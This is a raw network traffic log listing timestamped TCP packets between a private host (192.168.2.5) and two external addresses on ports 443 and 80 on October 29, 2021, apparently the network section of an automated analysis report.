Oct 29, 2021 20:10:44.426466942 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.426469088 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.426485062 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.426513910 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.426522017 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.426531076 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.426557064 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.426568985 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.426594973 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.426626921 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.426675081 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.426837921 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.427614927 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.427648067 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.427696943 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.427710056 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.427746058 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.427750111 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.427766085 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.427777052 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.427794933 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.427809000 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.427849054 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.427860022 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.427876949 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.427896976 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.427931070 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.427957058 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.427969933 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.427992105 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.428044081 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.428066015 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.428069115 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.428083897 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.428111076 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.428134918 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.428167105 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.428191900 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.428231955 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.428248882 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.428261995 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.428266048 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.428267002 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.428293943 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.428327084 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.428337097 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.428364992 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.428818941 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.429524899 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.442696095 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.442723989 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.442779064 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.442832947 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.442847967 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.442894936 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.442935944 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.443041086 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.443062067 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.443109989 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.443120003 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.443146944 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.443171978 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.443186045 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.443208933 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.443258047 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.443265915 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.443299055 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.443314075 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.443337917 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.443377018 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.443406105 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.443414927 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.443428993 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.443453074 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.443492889 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.443736076 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.446105957 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.589903116 CEST	49809	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:44.645108938 CEST	80	49809	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:44.645215034 CEST	49809	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:44.645313978 CEST	49809	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:44.645334959 CEST	49809	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:44.731095076 CEST	80	49809	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:44.731172085 CEST	49809	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:44.739650011 CEST	49809	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:44.771785021 CEST	49810	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:44.794701099 CEST	80	49809	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:44.823744059 CEST	80	49810	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:44.823863983 CEST	49810	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:44.824063063 CEST	49810	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:44.824115038 CEST	49810	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:44.902698040 CEST	80	49810	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:44.902775049 CEST	49810	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:44.902983904 CEST	49810	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:44.942537069 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:44.954922915 CEST	80	49810	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:44.995280027 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:44.995378971 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:44.995501041 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:44.995529890 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.077245951 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.077296019 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.077325106 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.077346087 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.077359915 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.077367067 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.077389002 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.077403069 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.077410936 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.077433109 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.077447891 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.077455044 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.077476978 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.077487946 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.077539921 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.130390882 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.130414963 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.130430937 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.130451918 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.130498886 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.130570889 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.130708933 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.130732059 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.130753994 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.130774975 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.130805969 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.130839109 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.131125927 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.131148100 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.131166935 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.131189108 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.131211042 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.131238937 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.131294012 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.131323099 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.131344080 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.131366014 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.131367922 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.131405115 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.131556034 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.131577969 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.131622076 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.131643057 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.131644964 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.131680965 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.182910919 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.182939053 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.182955980 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.183006048 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.183418036 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.183480978 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.183494091 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.183505058 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.183525085 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.183541059 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.183552980 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.183568001 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.183587074 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.183604002 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.183613062 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.183629036 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.183645964 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.183681965 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.183768034 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.183787107 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.183804035 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.183819056 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.183841944 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.183901072 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.183955908 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.183979034 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.184035063 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.184081078 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.184098959 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.184113979 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.184130907 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.184144020 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.184187889 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.184194088 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.184214115 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.184231043 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.184247971 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.184261084 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.184268951 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.184283972 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.184283972 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.184304953 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.184320927 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.184329987 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.184344053 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.184360981 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.184374094 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.184381962 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.184451103 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.236569881 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.236598969 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.236618996 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.236639023 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.236656904 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.236674070 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.236691952 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.236697912 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.236711025 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.236718893 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.236721992 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.236730099 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.236746073 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.236758947 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.236777067 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.236794949 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.236813068 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.236825943 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.236829996 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.236856937 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.236862898 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.236871958 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.236882925 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.236934900 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.236964941 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.236979008 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.236991882 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.237076998 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.237077951 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.237097025 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.237104893 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.237117052 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.237133980 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.237137079 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.237212896 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.237231970 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.237257004 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.237263918 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.237272024 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.237287998 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.237363100 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.237387896 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.237406015 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.237413883 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.237430096 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.237438917 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.237453938 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.237462044 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.237478018 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.237510920 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.289597988 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.289654016 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.289681911 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.289709091 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.289726019 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.289736986 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.289767981 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.289768934 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.289819002 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.289836884 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.289865017 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.289891958 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.289906979 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.289918900 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.289944887 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.289973021 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.289993048 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.289999008 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.290026903 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.290031910 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.290054083 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.290071011 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.290081024 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.290107965 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.290126085 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.290134907 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.290159941 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.290174007 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.290189028 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.290215969 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.290231943 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.290244102 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.290271044 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.290283918 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.290297031 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.290324926 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.290350914 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.290354013 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.290380955 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.290406942 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.290421963 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.290435076 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.290450096 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.290461063 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.290503979 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.344235897 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344290018 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344330072 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344368935 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344396114 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344397068 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.344422102 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344433069 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.344449043 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344474077 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344490051 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.344500065 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344525099 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344526052 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.344557047 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344562054 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.344589949 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344616890 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344646931 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344659090 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.344685078 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344686985 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.344715118 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344748974 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344765902 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.344775915 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344800949 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344827890 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344862938 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.344875097 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.344877958 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344919920 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344959974 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.344985008 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.345000029 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.345046043 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.345072985 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.345099926 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.345138073 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.345139027 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.345144033 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.345169067 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.345181942 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.345197916 CEST	80	49811	185.98.87.159	192.168.2.5
